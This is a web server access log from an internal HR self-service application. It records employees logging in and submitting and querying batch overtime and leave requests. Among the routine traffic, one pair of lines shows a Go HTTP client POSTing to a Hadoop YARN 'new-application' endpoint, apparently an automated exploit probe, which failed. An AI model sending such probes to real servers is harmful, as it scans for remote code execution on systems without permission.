192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.base.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.136 - - [06/Sep/2025:13:16:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926
192.168.11.136 - - [06/Sep/2025:13:16:38 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8926 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10037
192.168.11.136 - - [06/Sep/2025:13:16:40 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:40 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:40 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:40 +0800] "GET /eHR/js/functions.js HTTP/1.1" 304 -
192.168.11.136 - - [06/Sep/2025:13:16:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [06/Sep/2025:13:16:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:16:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [06/Sep/2025:13:16:56 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242
192.168.11.136 - - [06/Sep/2025:13:16:56 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5690067552290605 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5690067552290605 HTTP/1.1" 200 8900
192.168.11.136 - - [06/Sep/2025:13:17:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5690067552290605 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5690067552290605" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5690067552290605 HTTP/1.1" 200 24844
192.168.11.136 - - [06/Sep/2025:13:17:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:39 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202
192.168.11.136 - - [06/Sep/2025:13:17:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.11.136 - - [06/Sep/2025:13:17:40 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.11.136 - - [06/Sep/2025:13:17:40 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:17:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [06/Sep/2025:13:17:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482390922748467 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:05 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482390922748467 HTTP/1.1" 200 8900
192.168.11.136 - - [06/Sep/2025:13:18:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482390922748467 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482390922748467" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:13 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8482390922748467 HTTP/1.1" 200 24844
192.168.11.136 - - [06/Sep/2025:13:18:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4202
192.168.11.136 - - [06/Sep/2025:13:18:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [06/Sep/2025:13:18:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16843232724742263 HTTP/1.1" 200 8900 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16843232724742263 HTTP/1.1" 200 8900
192.168.11.136 - - [06/Sep/2025:13:18:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16843232724742263 HTTP/1.1" 200 24844 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16843232724742263" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:18:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.16843232724742263 HTTP/1.1" 200 24844
192.168.11.136 - - [06/Sep/2025:13:19:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4198
192.168.11.136 - - [06/Sep/2025:13:19:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [06/Sep/2025:13:19:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.136 - - [06/Sep/2025:13:19:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [06/Sep/2025:13:19:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [06/Sep/2025:13:19:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 122581 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 122581
192.168.11.136 - - [06/Sep/2025:13:19:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:42 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8395
192.168.11.136 - - [06/Sep/2025:13:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18976 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:19:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 18976
192.168.11.136 - - [06/Sep/2025:13:20:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:20:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.136 - - [06/Sep/2025:13:20:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:20:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7833
192.168.11.136 - - [06/Sep/2025:13:20:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:20:29 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384
192.168.11.136 - - [06/Sep/2025:13:20:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19459
192.168.11.136 - - [06/Sep/2025:13:20:40 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19459 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:20:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:20:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252
192.168.11.136 - - [06/Sep/2025:13:21:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:21:06 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20168
100.64.0.1 - - [06/Sep/2025:13:21:08 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232
100.64.0.1 - - [06/Sep/2025:13:21:08 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1"
192.168.11.136 - - [06/Sep/2025:13:24:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:24:36 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22384
192.168.11.136 - - [06/Sep/2025:13:24:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19459 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [06/Sep/2025:13:24:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19459
192.168.11.136 - - [06/Sep/2025:13:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252
192.168.11.136 - - [06/Sep/2025:13:24:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20252 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.197 - - [06/Sep/2025:13:30:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8732877821277818 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8732877821277818" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:30:51 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8732877821277818 HTTP/1.1" 200 10639
192.168.11.197 - - [06/Sep/2025:13:31:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40917549183835333 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:31:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40917549183835333 HTTP/1.1" 200 8456
192.168.11.197 - - [06/Sep/2025:13:31:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40917549183835333 HTTP/1.1" 200 10636 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40917549183835333" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:31:31 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.40917549183835333 HTTP/1.1" 200 10636
192.168.11.197 - - [06/Sep/2025:13:32:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4621 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36"
192.168.11.197 - - [06/Sep/2025:13:32:15 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4621
192.168.11.197 - - [06/Sep/2025:13:32:17 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
